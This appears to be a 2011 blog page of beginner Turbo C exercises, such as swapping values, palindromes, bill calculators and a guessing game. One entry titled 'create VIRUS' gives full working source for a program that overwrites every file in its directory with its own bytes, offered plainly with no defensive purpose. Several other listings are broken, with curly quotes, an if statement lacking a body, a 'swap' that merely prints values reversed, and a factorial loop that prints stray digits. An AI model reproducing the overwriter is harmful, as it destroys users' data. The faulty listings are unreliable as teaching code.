Wednesday, December 7, 2011

Write a Cprogram without semicolon III

#include<stdio.h>
void main(){
    switch(printf("Hello world")){
    }
}

Write a C Program without semicolon II

#include<stdio.h>
void main(){
    while(!printf("Hello world")){
    }
}

Write a C Program to print a string without use semicolon I

#include <stdio.h>
#include <conio.h>
void main()
{
 if(printf("Hello"))
}

Write a C program to create VIRUS

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

Write a C program to destruc self execution file

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf("This program will destroy itself if u press any key!!!\n");
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

Write a C program to remove single space or line

#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(“Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(“Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(“target.c”,”w”);
if(b==NULL)
{
puts(“Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

Write a C program to find random number II

#include<stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
int i;
time_t t;
srand((unsigned) time(&t));
printf(“Ten random numbers from 0 to 99\n\n”);
for(i=0; i<10;i++)
printf(“%d\n”,rand()%100);
}

Write a C Program to take random number I

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
/* prints a random number in the range 0 to 99 */
int main(void)
{
randomize();
printf(“Random number in the 0-99 range: %d\n”, random (100));
return 0;
}

Write a C program to print without function

#include<stdio.h>
#include<conio.h>
char str[]=”Hello Srikanth”;
char far *v=(char far *)0xb8000000;
void main()
{
int i;
for(i=0;i<14;i++)
{
*v=str[i];
v+=2;
}
getch();
}

Write a C Program to create a GAME

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

Write a C Program without main function

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
 printf(" hello ");
 return 0;
}

Write a C program to accept password

#include<stdio.h>
#include<conio.h>

char pw[25],ch;
int i;
void main()
{
clrscr();
puts(“Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(‘\b’);
putch(NULL);
putch(‘\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0';
printf(“\n\n%s”,pw);
getch();
}

Write a C program to find palindrome number

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,r,reverse=0,a;
 clrscr();
 printf("Enter any Number: ");
 scanf("%d",&n);
 a=n;
 while(n)
 {
  r=n%10;
  reverse=reverse*10+r;
  n=n/10;
 }
 if(a==reverse)
  printf("%d is palindrome",a);
 else
  printf("%d is not palindrome",a);
 getch();
}

Write a C Program to find reverse of Digits

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,r,reverse=0;
 clrscr();
 printf("Enter any Number: ");
 scanf("%d",&n);
 while(n)
 {
  r=n%10;
  reverse=reverse*10+r;
  n=n/10;
 }
 printf("Reverse= %d",reverse);
 getch();
}

Tuesday, December 6, 2011

Write a C Program to swapping without third variable II

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b;
 clrscr();
 printf("Enter value for a and b: ");
 scanf("%d %d",&a,&b);
 printf("\nAfter swapping\na and b: %d %d",b,a);
 getch();
}

Write a C Program to swapping without third variable

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b;
 clrscr();
 printf("Enter value for a and b: ");
 scanf("%d %d",&a,&b);
 a=a+b;
 b=a-b;
 a=a-b;
 printf("\nAfter swapping a and b: %d %d",a,b);
 getch();
}

Write a C Program to swapping by using third variablr

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,c;
 clrscr();
 printf("Enter Value for a and b: ");
 scanf("%d %d",&a,&b);
 c=a;
 a=b;
 b=c;
 printf("\nAfter swapping\na and b is: %d %d",a,b);
 getch();
}

Write a C Program to calculate TT and Recharge Amount

#include <stdio.h>
#include <conio.h>
void main()
{
 int ch;
 float a,d,b,c,e,f;
 clrscr();
 printf("\t\t\tCalculate Talktime and Recharge amount\nBeing 9.3% tax of TRAI for telecom service provider you can calculate Your talktime amd recharge amount");
 printf("\n1. For Conversation Recharge Amount to talk time\n2. For Conversation Talktime to recharge amount");
 printf("\n\nPlease Enter your choice: ");
 scanf("%d",&ch);
 switch(ch)
 {
  case 1:
  {
   printf("\nYou chosing opt. %d and your opt. is conversation Recharge Amt. to TT\nPlease Enter for calculation",ch);
   getch();
   clrscr();
   printf("\nPlease enter your recharge amount:  ");
   scanf("%f",&a);
   printf("\nPlease Enter processing fee: ");
   scanf("%f",&b);
   printf("\nPlease Enter extra charge: ");
   scanf("%f",&c);
   d=a*0.093;
   e=a-d;
   f=e-b-c;
   printf("\nYour Entered amount is: %.f\n\nYour processing fee is %.f\n\nService Tax= %.2f\n\nYour total talk time(deduction of your service tax only)= %.2f\n\nTotal Talk Time(Deduction of all tax)= %.2f Rupees",a,b,d,e,f);
   break;
  }
  case 2:
  {
   printf("\n You chosing opt. %d and your opt. is conversation TT to Rec. Amt.\nPlease Enter for calculation",ch);
   getch();
   clrscr();
   printf("\nEnter your Talktime: ");
   scanf("%f",&a);
   printf("\nPlease enter Procesing fee: ");
   scanf("%f",&b);
   printf("\nPlease enter all taxes: ");
   scanf("%f",&c);
   d=b+c;
   e=a+d;
   f=(e/(1-0.093));
   printf("\nYour Talk Time(included of all taxes): %.2f\n\nFor getting your given Talk Time you must rechage equal or above= %.f Rupees",a,f);
   break;
  }
  default:
  {
   printf("\nInvalid Choice!!");
  }
 }
 getch();
}

Write a C Program to Calculate Electricity Bill with if-else condition <=100 Rs.4/units > 100 and <=300 Rs.4.50/units >300 and <=500 Rs.4.75/units >500 Rs.5/units

#include<stdio.h>
#include<conio.h>
void main()
{
int units;
float total_bill;
clrscr();
printf("Enter the no. of units");
scanf("%d",&units);
if(units <= 100)
total_bill = units * 4;
else if(units <= 300)
total_bill = units * 4.5;
else if(units <= 500)
total_bill = units * 4.75;
else
total_bill = units * 5;
printf("the bill to be paid is = %f", total_bill);
getch();
}

Write a C Program to find Factorial of Number Using While Loop

#include <stdio.h>
#include <conio.h>

void main()
{    int i=1,n,fact=1;
    clrscr();
    printf("enter a number");
    scanf("%d",&n);
    while(i<=n)
    {    fact=fact*i;
        printf("%d",i);
        i++;
    }
    printf("fact=%d",fact);
    getch();
}